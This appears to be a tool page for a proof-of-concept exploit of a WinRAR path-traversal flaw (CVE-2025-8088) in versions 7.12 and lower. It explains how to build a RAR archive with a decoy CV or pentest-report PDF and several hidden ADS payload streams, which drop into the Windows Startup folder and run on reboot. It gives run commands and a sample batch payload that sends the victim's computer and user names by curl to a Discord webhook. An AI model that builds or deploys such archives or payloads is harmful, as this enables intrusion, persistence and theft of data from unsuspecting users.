CVE-2025-8088 WinRAR Exploit 🔓

A proof-of-concept exploit for WinRAR vulnerability (CVE-2025-8088) affecting versions 7.12 and lower. This tool creates a malicious RAR archive that embeds payloads in Alternate Data Streams (ADS) with path traversal, potentially leading to arbitrary code execution.

  • The issue with a lot of the others is they do not embedd multiple ADS streams requiring either luck you have the right path traversal or know the exact username/extraction directory.

🚀 How It Works

  1. Creates a Decoy Document 📄 - Generates professional-looking PDF (CV or pentest report)
  2. Embeds Multiple ADS Streams 🔄 - Attaches payload streams with different path traversal depths
  3. Manipulates RAR Headers ⚙️ - Modifies archive structure to exploit path traversal vulnerability
  4. Drops Payload to Startup 📂 - Attempts to write payload to Windows startup folder when extracted

🛠️ Usage

root@kitploit:~
# Clone the repository
git clone https://github.com/techcorp/CVE-2025-8088-Exploit.git
cd best-CVE-2025-8088

# Install dependencies
pip install reportlab

# Run the exploit
python CVE-2025-8088.py

✏️ Payload Customization

Edit the payload to call a Discord webhook:

root@kitploit:~
# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

Replace YOUR_DISCORD_WEBHOOK_URL with your actual webhook URL.

🔄 Execution Flow

  1. Victim extracts the RAR with vulnerable WinRAR (≤7.12)
  2. Payload gets written to startup folder:
    root@kitploit:~
    AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    
  3. On next reboot ➡️ payload executes automatically

📋 Requirements

  • Windows OS 🪟
  • Python 3.x 🐍
  • WinRAR installed
  • ReportLab library (pip install reportlab)
